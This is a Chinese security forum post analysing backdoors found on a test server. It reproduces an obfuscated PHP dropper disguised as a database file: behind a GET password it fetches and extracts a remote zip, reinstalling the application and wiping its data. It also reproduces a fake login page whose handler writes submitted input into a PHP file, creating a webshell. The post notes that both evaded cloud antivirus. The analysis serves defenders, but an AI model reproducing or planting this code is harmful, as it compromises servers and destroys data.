前言之前在挖掘可到云文件管理系统漏洞的时候,在一个没有装防火墙的轻量级服务器上搭建了一个环境。在漏洞挖掘结束以后,服务器就没有再使用过。但是因为服务器之前搭建过靶场,留下了一…
0x00 前言
之前在挖掘可到云文件管理系统漏洞的时候,在一个没有装防火墙的轻量级服务器上搭建了一个环境。在漏洞挖掘结束以后,服务器就没有再使用过。但是因为服务器之前搭建过靶场,留下了一些后门文件。
这两天准备给团队开发一个资源共享系统,就想把可道云改一下UI。在熟悉底层文件的时候,突然看见一个不太和谐的文件。
这个文件名是SQLDB.php,像是一个系统文件。但是文件格式却是被压缩过的,与其他文件风格不一样,于是就引起了我的注意力。
因为我使用的是腾讯云服务器,如果有病毒的话会检测并通知我,但是这个文件没有被检测到。所以一开始我以为这只是一个普通的文件,在研究以后,发现这是一个利用敏感信息的病毒文件,并且要过了腾讯云的杀毒(企业版的是否绕过不知道),今天写在这里分享一下。
因为在做分析的时候对文件进行过操作,所以文件时间是比较近的。但其实是之前不知道什么时候有的。
0x01 文件内容
原来的文件内容:
<?php if (!defined("SQLDB")) define("SQLDB", "MCDB");$SQLKWD[SQLDB] = explode("|^|K|3", "H*|^|K|341414741474747");if (!defined(pack($SQLKWD[SQLDB][00], $SQLKWD[SQLDB][0x1]))) define(pack($SQLKWD[SQLDB][00], $SQLKWD[SQLDB][0x1]) , ord(1));if (!defined("SSHDB")) define("SSHDB", "SSHKEY");$SQLKWD[SSHDB] = explode("|v|t|Z", "H*|v|t|Z41414741474741|v|t|Z41414741474147|v|t|Z7C3A7C2D7C35|v|t|Z7C3A7C2D7C35646566696E65647C3A7C2D7C35666F70656E7C3A7C2D7C3566707574737C3A7C2D7C3566636C6F73657C3A7C2D7C3569735F66696C657C3A7C2D7C35756E6C696E6B");if (!defined(pack($SQLKWD[SSHDB] {0 }, $SQLKWD[SSHDB] {01 }))) define(pack($SQLKWD[SSHDB] {0 }, $SQLKWD[SSHDB] {01 }) , pack($SQLKWD[SSHDB] {0 }, $SQLKWD[SSHDB][02]));$SQLKWD[JARMD] = explode(pack($SQLKWD[SSHDB] {0 }, $SQLKWD[SSHDB] {3 }) , pack($SQLKWD[SSHDB] {0 }, $SQLKWD[SSHDB][0x4]));if (!defined("SQLDBWD")) define("SQLDBWD", "SQLWDG");$SQLKWD[SQLDBWD] = explode("|K|H|a", "H*|K|H|a41414747414147|K|H|a646566696E65|K|H|a41414747414141|K|H|a70|K|H|a|K|H|a3070656e2e736573616d65|K|H|a687474703A2F2F7374617469632E6B6F64636C6F75642E636F6D2F7570646174652F646F776E6C6F61642F6B6F646578706C6F726572342E34302E7A6970|K|H|a2E2F6B6F642E7A6970|K|H|a772B|K|H|a6B6F642E7A6970|K|H|a6B6F642F|K|H|a3C6120687265663D222E2F6B6F6422207461726765743D225F626C616E6B223EE689A7E8A18CE68890E58A9FE782B9E587BBE8BF9BE585A53C2F613E0A");if (!$SQLKWD[JARMD] {0x1 }(pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {1 }))) \call_user_func(pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD][02]) , pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {1 }) , pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {03 }));$SQLKWD[SQLPWD] = array( $_GET );$AGAAAAG = & $passwd;$AGAAAAA = & $ch;$AAGGGGG = & $source;$AAGGGGA = & $data;$AAGGGAG = & $destination;$file = & $AAGGGAA;$AAGGAGG = & $zip;$file_path = & $AAGGAGA;$AGAAAAG = isset($SQLKWD[SQLPWD][(0 - 1225 + 25 * AAGAGGG) ][pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {4 }) ]) ? $SQLKWD[SQLPWD][(0 - 1225 + 25 * AAGAGGG) ][pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {4 }) ] : pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD][05]);if ($AGAAAAG != pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD][06])) {exit;}$AGAAAAA = curl_init();$AAGGGGG = pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {07 });curl_setopt($AGAAAAA, CURLOPT_URL, $AAGGGGG);curl_setopt($AGAAAAA, CURLOPT_RETURNTRANSFER, (AAGAGGG * 41 - 2008));$AAGGGGA = curl_exec($AGAAAAA);curl_close($AGAAAAA);$AAGGGAG = pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {0x8 });$AAGGGAA = $SQLKWD[JARMD] {02 }($AAGGGAG, pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD][011]));$SQLKWD[JARMD] {03 }($AAGGGAA, $AAGGGGA);$SQLKWD[JARMD] {0x4 }($AAGGGAA);$AAGGAGG = new ZipArchive();if ($AAGGAGG->open(pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD][012])) === true) {$AAGGAGG->extractTo(pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {11 }));$AAGGAGG->close();}$AAGGAGA = pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {0x8 });if ($SQLKWD[JARMD] {05 }($AAGGAGA)) {if ($SQLKWD[JARMD][6]($AAGGAGA)) {\}\}echo pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {0xC });?>
展开后的:
<?php if (!defined("SQLDB")) define("SQLDB", "MCDB");
$SQLKWD[SQLDB] = explode("|^|K|3", "H*|^|K|341414741474747");
if (!defined(pack($SQLKWD[SQLDB][00], $SQLKWD[SQLDB][0x1]))) define(pack($SQLKWD[SQLDB][00], $SQLKWD[SQLDB][0x1]) , ord(1));
if (!defined("SSHDB")) define("SSHDB", "SSHKEY");
$SQLKWD[SSHDB] = explode("|v|t|Z", "H*|v|t|Z41414741474741|v|t|Z41414741474147|v|t|Z7C3A7C2D7C35|v|t|Z7C3A7C2D7C35646566696E65647C3A7C2D7C35666F70656E7C3A7C2D7C3566707574737C3A7C2D7C3566636C6F73657C3A7C2D7C3569735F66696C657C3A7C2D7C35756E6C696E6B");
if (!defined(pack($SQLKWD[SSHDB] {
0
}
, $SQLKWD[SSHDB] {
01
}
))) define(pack($SQLKWD[SSHDB] {
0
}
, $SQLKWD[SSHDB] {
01
}
) , pack($SQLKWD[SSHDB] {
0
}
, $SQLKWD[SSHDB][02]));
$SQLKWD[JARMD] = explode(pack($SQLKWD[SSHDB] {
0
}
, $SQLKWD[SSHDB] {
3
}
) , pack($SQLKWD[SSHDB] {
0
}
, $SQLKWD[SSHDB][0x4]));
if (!defined("SQLDBWD")) define("SQLDBWD", "SQLWDG");
$SQLKWD[SQLDBWD] = explode("|K|H|a", "H*|K|H|a41414747414147|K|H|a646566696E65|K|H|a41414747414141|K|H|a70|K|H|a|K|H|a3070656e2e736573616d65|K|H|a687474703A2F2F7374617469632E6B6F64636C6F75642E636F6D2F7570646174652F646F776E6C6F61642F6B6F646578706C6F726572342E34302E7A6970|K|H|a2E2F6B6F642E7A6970|K|H|a772B|K|H|a6B6F642E7A6970|K|H|a6B6F642F|K|H|a3C6120687265663D222E2F6B6F6422207461726765743D225F626C616E6B223EE689A7E8A18CE68890E58A9FE782B9E587BBE8BF9BE585A53C2F613E0A");
if (!$SQLKWD[JARMD] {
0x1
}
(pack($SQLKWD[SQLDBWD] {
0x0
}
, $SQLKWD[SQLDBWD] {
1
}
))) \call_user_func(pack($SQLKWD[SQLDBWD] {
0x0
}
, $SQLKWD[SQLDBWD][02]) , pack($SQLKWD[SQLDBWD] {
0x0
}
, $SQLKWD[SQLDBWD] {
1
}
) , pack($SQLKWD[SQLDBWD] {
0x0
}
, $SQLKWD[SQLDBWD] {
03
}
));
$SQLKWD[SQLPWD] = array( $_GET );
$AGAAAAG = & $passwd;
$AGAAAAA = & $ch;
$AAGGGGG = & $source;
$AAGGGGA = & $data;
$AAGGGAG = & $destination;
$file = & $AAGGGAA;
$AAGGAGG = & $zip;
$file_path = & $AAGGAGA;
$AGAAAAG = isset($SQLKWD[SQLPWD][(0 - 1225 + 25 * AAGAGGG) ][pack($SQLKWD[SQLDBWD] {
0x0
}
, $SQLKWD[SQLDBWD] {
4
}
) ]) ? $SQLKWD[SQLPWD][(0 - 1225 + 25 * AAGAGGG) ][pack($SQLKWD[SQLDBWD] {
0x0
}
, $SQLKWD[SQLDBWD] {
4
}
) ] : pack($SQLKWD[SQLDBWD] {
0x0
}
, $SQLKWD[SQLDBWD][05]);
if ($AGAAAAG != pack($SQLKWD[SQLDBWD] {
0x0
}
, $SQLKWD[SQLDBWD][06])) {
exit;
}
$AGAAAAA = curl_init();
$AAGGGGG = pack($SQLKWD[SQLDBWD] {
0x0
}
, $SQLKWD[SQLDBWD] {
07
}
);
curl_setopt($AGAAAAA, CURLOPT_URL, $AAGGGGG);
curl_setopt($AGAAAAA, CURLOPT_RETURNTRANSFER, (AAGAGGG * 41 - 2008));
$AAGGGGA = curl_exec($AGAAAAA);
curl_close($AGAAAAA);
$AAGGGAG = pack($SQLKWD[SQLDBWD] {
0x0
}
, $SQLKWD[SQLDBWD] {
0x8
}
);
$AAGGGAA = $SQLKWD[JARMD] {
02
}
($AAGGGAG, pack($SQLKWD[SQLDBWD] {
0x0
}
, $SQLKWD[SQLDBWD][011]));
$SQLKWD[JARMD] {
03
}
($AAGGGAA, $AAGGGGA);
$SQLKWD[JARMD] {
0x4
}
($AAGGGAA);
$AAGGAGG = new ZipArchive();
if ($AAGGAGG->open(pack($SQLKWD[SQLDBWD] {
0x0
}
, $SQLKWD[SQLDBWD][012])) === true) {
$AAGGAGG->extractTo(pack($SQLKWD[SQLDBWD] {
0x0
}
, $SQLKWD[SQLDBWD] {
11
}
));
$AAGGAGG->close();
}
$AAGGAGA = pack($SQLKWD[SQLDBWD] {
0x0
}
, $SQLKWD[SQLDBWD] {
0x8
}
);
if ($SQLKWD[JARMD] {
05
}
($AAGGAGA)) {
if ($SQLKWD[JARMD][6]($AAGGAGA)) {
}
}
echo pack($SQLKWD[SQLDBWD] {
0x0
}
, $SQLKWD[SQLDBWD] {
0xC
}
);
?>
第一眼看去,里面的变量名很多都是比较混淆的。如果把这个作为系统文件来看的话,毫无违和感,变量命名是以SQL、SSH等加上其他后缀,伪装成系统文件
0x02 文件查杀
绕过了宝塔的文件检测,但是付费的不知道,我没有充钱
0x03 文件分析
$SQLKWD[SSHDB] = explode("|v|t|Z", "H*|v|t|Z41414741474741|v|t|Z41414741474147|v|t|Z7C3A7C2D7C35|v|t|Z7C3A7C2D7C35646566696E65647C3A7C2D7C35666F70656E7C3A7C2D7C3566707574737C3A7C2D7C3566636C6F73657C3A7C2D7C3569735F66696C657C3A7C2D7C35756E6C696E6B");
explode函数把字符串变为数组
explode(separator,string)
separator :规定在哪里分割字符串
string : 要分割的字符串
把这个字符串变为数组之后是这样的
[0] => H*
[1] => 41414741474741
[2] => 41414741474147
[3] => 7C3A7C2D7C35
[4] => 7C3A7C2D7C35646566696E65647C3A7C2D7C35666F70656E7C3A7C2D7C3566707574737C3A7C2D7C3566636C6F73657C3A7C2D7C3569735F66696C657C3A7C2D7C35756E6C696E6B
[0] =>
[1] => defined
[2] => fopen
[3] => fputs
[4] => fclose
[5] => is_file
[6] => unlink
价值不大,继续分析,找到下一个explode
$SQLKWD[SQLDBWD] = explode("|K|H|a", "H*|K|H|a41414747414147|K|H|a646566696E65|K|H|a41414747414141|K|H|a70|K|H|a|K|H|a3070656e2e736573616d65|K|H|a687474703A2F2F7374617469632E6B6F64636C6F75642E636F6D2F7570646174652F646F776E6C6F61642F6B6F646578706C6F726572342E34302E7A6970|K|H|a2E2F6B6F642E7A6970|K|H|a772B|K|H|a6B6F642E7A6970|K|H|a6B6F642F|K|H|a3C6120687265663D222E2F6B6F6422207461726765743D225F626C616E6B223EE689A7E8A18CE68890E58A9FE782B9E587BBE8BF9BE585A53C2F613E0A");
通过pack函测试数据得到如下关键信息:
[4] =>p
[5] =>
[6] =>0pen.sesame
[7] =>http://static.kodcloud.com/update/download/kodexplorer4.40.zip
[8] =>./kod.zip
[9] =>w+
[10] =>kod.zip
[11] =>kod/
[12] =><a href="./kod" target="_blank">执行成功点击进入</a>
这个病毒通过p参数(GET)传入密码,下载压缩包,然后生成链接直接进入后台
所以这个应该是个小马,然后再有一个木马去调用他。我先访问这个文件,尝试传入密码登录后台
但是报错了
我去查询了一波相关信息,发现是我的PHP版本高了,与木马不兼容(我在尝试可道云的时候经常换PHP版本,所以这个表哥没有成功利用这个木马,版本根本不兼容。那么我之前做靶场的后门应该也有的已经失效了。)
为了测试木马病毒,我去调试了一些PHP,然后就OK了
确实好用。然后我发现,文件管理系统里面的数据就像被格式化了一样,清空。
再仔细一看病毒,发现是将可道云的压缩包文件下载下来,然后重新安装。传入的密码其实是安装密码。
然后我把这个网站的文件下载后与官网的文件相比较,发现多了一个zipper.class.php,而且文件格式也是伪装的和系统文件比较像。
这是系统文件
zipper.class.php用来压缩目录,然后备份数据(深藏不露)
但是仅仅依靠这两个文件我感觉无法完成一个完整的后门,肯定存在其他的后门
于是我就去找之前作为靶场的网站(不多,就几个),然后排查文件(不少,几千个),最后在红帆OA的目录里找到了一个后门。
0x04后门内容
<html>
<head>
<title>登录</title>
<meta name="content-type"; charset="UTF-8">
</head>
<body>
<div id="bigBox">
<h1></h1>
<form id="loginform" action="SQLcheck.php" method="post">
<div class="inputBox">
<div class="inputText">
<input type="text" id="name" name="username" placeholder="Username" value="">
</div>
<div class="inputText">
</div>
<br >
<div style="color: white;font-size: 12px" >
</div>
</div>
<div>
<input type="submit" id="login" name="login" value="登录" class="loginButton m-left">
<input type="reset" id="reset" name="reset" value="重置" class="loginButton">
</div>
</div>
</div>
</form>
<style>
body
{
margin: 0;
padding: 0;
background-image: url("image/bgimg.jpg");
background-repeat: no-repeat;
}
#bigBox
{
margin: 0 auto;
margin-top: 170px;
padding: 20px 50px;
background-color: #00000090;
width: 400px;
height: 300px;
border-radius: 10px;
text-align: center;
}
#bigBox h1
{
color: white;
font-family: "Comic Sans MS";
}
#bigBox .inputBox
{
margin-top: 20px;
}
#bigBox .inputBox .inputText
{
margin-top: 20px;
}
#bigBox .inputBox .inputText input
{
border: 0;
padding: 10px 10px;
border-bottom: 1px solid white;
background-color: #00000000;
color: white;
}
#bigBox .loginButton
{
margin-right: 30px;
margin-top: 40px;
width: 100px;
height: 25px;
color: white;
border: 0;
border-radius: 20px;
background-image: linear-gradient(to right, #b8cbb8 0%, #b8cbb8 0%, #b465da 0%, #cf6cc9 33%, #ee609c 66%, #ee609c 100%);
}
.m-left{
margin-left: 30px;
}
.register{
position: absolute;
margin-bottom: 1000px;
right: 10px;
color: #ffffff;
margin-right:800px;
font-size: 13px;
}
.fgtpwd{
position: absolute;
margin-bottom: 1000px;
right: 10px;
color: #ffffff;
margin-right:666px;
font-size: 13px;
}
</style>
</body>
</html>
没错,一个登录页面
BUT!!!!
<?php
$SQL = $_POST['usename'];
$myfile = fopen("后台备份文件误删.php", "w") or die("Unable to open file!");
fwrite($myfile, $SQL);
fclose($myfile);
?>
在提交这个登录请求以后,会把用户写入一个文件。
然后你在访问这个文件,你懂得
9x05 总结
因为笔者在上学,没有时间详细分析防火墙日志。我简单的分析了一下这个病毒的伪装,发现他的庐山真面目。
其实这个涉及的很多后门应该有自我销毁的功能,只是主干被保留方便二次利用罢了。
希望这个分析对大家有所帮助。
- 本文作者: 考不过刘乐琪不改名
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1378
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!